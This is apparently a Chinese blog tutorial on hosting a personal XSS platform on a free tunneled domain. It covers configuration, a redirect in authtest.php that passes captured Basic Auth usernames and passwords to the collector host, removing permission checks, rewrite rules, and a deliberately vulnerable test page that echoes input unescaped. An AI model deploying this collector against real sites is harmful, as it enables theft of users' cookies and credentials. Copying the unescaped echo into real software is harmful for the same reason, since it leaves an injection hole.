前言
互联网上有许多XSS平台，但终究没有自己搭建的用的放心。正好最近看到花生壳内网穿透可免费提供一域名。所以就来尝试搭建。
花生壳
为了拥有自己的免费域名，使用花生壳动态域名解析。
下载花生壳客户端 花生壳下载
安装起来非常简单。
image.png
点击我的域名。看到为用户免费生成了一个域名。
点击内网穿透。需要开通内网穿透功能。花费6元，毅然决然地选择开通。
新建一条内网映射。即可从外网访问内网。
image.png
搭建XSS平台
在拥有了属于自己的域名情况下，进行搭建XSS平台。
环境：phpstudy的默认安装
将下载的XSS源码放在WWW下。
创建数据库
修改config.php
$config['dbUser'] ='root'; //用户
$config['dbPwd'] ='root'; //密码
$config['database'] ='xssplatform'; //数据库名
$config['urlroot'] ='http://236gr62949.iok.la/';//访问的url起始
根据config.php配置文件新建数据库。
image.png
导入xssplatform.sql数据库。
image.png
更新数据库语句为自己的域名
update oc_module set code=REPLACE(code,"http://xsser.me","http://236gr62949.iok.la/");
修改authtest.php文件为自己的域名
header("Location: http://236gr62949.iok.la/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
可直接用域名访问。
image.png
平台使用
生成邀请码
将config.php注册配置修改为normal，邀请码进行任意填写，点击提交注册。
发现无法注册。修改type属性值。
C:\phpStudy\WWW\xss\themes\default\templates\register.html 内容
<input id="btnRegister" type="button" onclick="Register()" value="提交注册" />
修改为
<input id="btnRegister" type="submit" value="提交注册" />
就可注册成功。
注册完成后oc_user表中会增加一条记录，手动将adminlevel修改为1（即管理员权限，可以有权限下放邀请码）。
image.png
再回到config.php中修改注册配置为invite，进入只允许邀请注册。
将C:\phpStudy\WWW\xss\source\user.php文件的第10行和第49行权限控制注释掉。
//if($user->userId<=0) ShowError('未登录或已超时',$url['login'],'重新登录');
//if($user->adminLevel<=0) ShowError('没有操作权限',URL_ROOT.'/index.php?do=user&act=invite');
访问http://236gr62949.iok.la/index.php?do=user&act=invite 可生成邀请码。
点击生成其他邀请码。
image.png
有了邀请码，注册功能就可以正常使用啦。
Apache伪静态
在使用xss poc时，会出现404错误，这是由于url重写没有生效，主要是因为apache中间件配置问题。
image.png
解决方法
网站根目录下新建.htaccess文件，内容为
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]
</IfModule>
然后修改httpd.conf配置文件
AllowOverride None
全部改为
AllowOverride All
配置好后，重启phpstudy，就能正常访问。
image.png
平台搭建到这里已基本能使用。再进行细节上的处理
修改提示页面跳转时间为500ms
文件C:\phpStudy\WWW\xss\themes\default\templates\notice.html
setTimeout("location.href='{$notice.turnto}'",500);
实际测试
手动创建一个有漏洞的XSS页面。
源代码为
<html>
<head>
<title>XSS</title>
</head>
<body>
<form>
<input type="text" name="xss" value="<?php echo @$_GET["xss"]; ?>" />
<input type="submit" value="submit" />
</form>
</body>
</html>
访问插入paylaod
可看到效果图。
image.png
源码下载
网友评论